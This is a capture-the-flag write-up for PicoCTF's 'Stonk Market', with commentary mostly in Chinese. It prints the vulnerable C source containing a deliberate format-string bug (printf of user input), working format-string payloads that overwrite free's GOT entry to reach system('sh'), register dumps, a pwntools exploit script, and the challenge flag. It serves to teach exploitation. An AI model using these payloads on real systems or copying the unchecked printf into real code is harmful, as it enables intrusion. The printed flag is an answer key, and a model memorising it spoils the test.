PicoCTF - Stonk Market
Background
FMT
Source code
:::spoiler
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int view_portfolio(Portfolio *p) {
if (!p) {
return 1;
}
printf("\nPortfolio as of ");
fflush(stdout);
system("date"); // TODO: implement this in C
fflush(stdout);
printf("\n\n");
Stonk *head = p->head;
if (!head) {
printf("You don't own any stonks!\n");
}
while (head) {
printf("%d shares of %s\n", head->shares, head->symbol);
head = head->next;
}
return 0;
}
Stonk *pick_symbol_with_AI(int shares) {
if (shares < 1) {
return NULL;
}
Stonk *stonk = malloc(sizeof(Stonk));
stonk->shares = shares;
int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
for (int i = 0; i <= MAX_SYM_LEN; i++) {
if (i < AI_symbol_len) {
stonk->symbol[i] = 'A' + (rand() % 26);
} else {
stonk->symbol[i] = '\0';
}
}
stonk->next = NULL;
return stonk;
}
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
/*
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
*/
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Portfolio *initialize_portfolio() {
Portfolio *p = malloc(sizeof(Portfolio));
p->money = (rand() % 2018) + 1;
p->head = NULL;
return p;
}
void free_portfolio(Portfolio *p) {
Stonk *current = p->head;
Stonk *next = NULL;
while (current) {
next = current->next;
free(current);
current = next;
}
free(p);
}
int main(int argc, char *argv[])
{
setbuf(stdout, NULL);
srand(time(NULL));
Portfolio *p = initialize_portfolio();
if (!p) {
printf("Memory failure\n");
exit(1);
}
int resp = 0;
printf("Welcome back to the trading app!\n\n");
printf("What would you like to do?\n");
printf("1) Buy some stonks!\n");
printf("2) View my portfolio\n");
scanf("%d", &resp);
if (resp == 1) {
buy_stonks(p);
} else if (resp == 2) {
view_portfolio(p);
}
free_portfolio(p);
printf("Goodbye!\n");
exit(0);
}
:::
Recon
這一題是參考了1,可以看到source code中的buy_stonks function出現format string bug,我一開始看了很久,以為這一題是和heap有關的問題
1的做法是:
先把free的got address(0x602018)利用fmt寫到某一個位置,然後再改變got指向的位置(0x4006c6),變成指向system的位置(0x4006f0),再把sh\x00
的string寫到某一個chunk中,之後當call到free並且要free掉我們指定的那個chunk時,他就會執行system(sh\x00)
,成功執行shell
Analysis
當程式執行到<printf_positional+7716> mov BYTE PTR [rax], bl
(如下)時,可以看一下rax數值在register中應對不同payload時的變化,我把完整的trace stack放在這一段的最下面,有興趣trace的人可以參考一下
1 |
|
- ==Incorrect Payload:==
%6299672c%12$n%216c%20$hhn%10504067c%10$n
遇到的問題 :::spoiler Register1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$rdi : 0x0 $rax : 0x0 $r8 : 0xffffffff $rbx : 0xf0 $rcx : 0x00007ffff7f78f40 → 0x0000000000000000 $r13 : 0x0 $r10 : 0x00007fffffffa580 → 0x00000000f7fb8723 $r12 : 0x1 $r14 : 0x00007fffffffa248 → 0x00000000ffffffff $r9 : 0x0 $rbp : 0x00007fffffffa9d0 → 0x00007fffffffaf90 → 0x00007fffffffd670 $rip : 0x00007ffff7e40bc4 → <printf_positional+7716> mov BYTE PTR [rax], bl $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $rdx : 0x00007ffff7e3f42a → <printf_positional+1674> endbr64 $r15 : 0x00007fffffffafc0 → 0x00000000fbad8004 $rsi : 0x00007fffffffa580 → 0x00000000f7fb8723 $r11 : 0x6e $rsp : 0x00007fffffffa060 → 0x0000000000000000 $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00
:::
- ==Correct Payload:==
%c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%10$n
:::spoiler Register1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$rdi : 0x0 $rax : 0x0000000000602018 → 0x00000000004006c6 → 0xffe0e90000000068 ("h"?) $r8 : 0xffffffff $rbx : 0xf0 $rcx : 0x00007ffff7f78f40 → 0x0000000000000000 $r13 : 0x0 $r10 : 0x00007fffffffa580 → 0x00000000f7fb8723 $r12 : 0x1 $r14 : 0x0000000000603cf8 → 0x00000000ffffffff $r9 : 0x0 $rbp : 0x00007fffffffa9d0 → 0x00007fffffffaf90 → 0x00007fffffffd670 $rip : 0x00007ffff7e40bc4 → <printf_positional+7716> mov BYTE PTR [rax], bl $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $rdx : 0x00007ffff7e3f42a → <printf_positional+1674> endbr64 $r15 : 0x00007fffffffafc0 → 0x00000000fbad8004 $rsi : 0x00007fffffffa580 → 0x00000000f7fb8723 $r11 : 0x6e $rsp : 0x00007fffffffa060 → 0x0000000000000000 $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00
::: 可以看到
0x7ffff7e40bc4 mov BYTE PTR [rax], bl
準備把0xf0的值放到rax指向的位置,但是如果是第一種payload,rax的value是0,而第二種payload所存放的value才是0x602018,所以這應該就是@ccccctw所提到的問題,一開始把0x602018
寫入0x00007fffffffd7d0
之前都還是零,所以第二種payload因為某種關係,他可以先把0x602018
寫入0x00007fffffffd7d0
,==再==把0x602018
指向的0x4006c6
最後一個byte改掉,而不是像第一種payload一樣,是同時執行所有的動作,導致系統還沒有把0x602018
寫入0x00007fffffffd7d0
,想當然0x00007fffffffd7d0
的value也是零1
2
3
4... 0x00007fffffffd790│+0x0030: 0x00007fffffffd7d0 → 0x0000000000000000 ← $rbp ... 0x00007fffffffd7d0│+0x0070: 0x0000000000000000
:::spoiler 完整的trace stack
1 |
|
:::
Exploit - FMT
from pwn import *
if args.LOCAL:
r = process('./vuln')
else:
r = remote('mercury.picoctf.net', 5654)
payload = '%c'*10 + '%6299662c' + '%n' + '%216c' + '%20$hhn' + '%10504067c' + '%10$n'
r.sendline(b'1')
raw_input()
r.sendlineafter(b"token?", payload.encode())
r.interactive()
Flag: picoCTF{explo1t_m1t1gashuns_641dcdf1}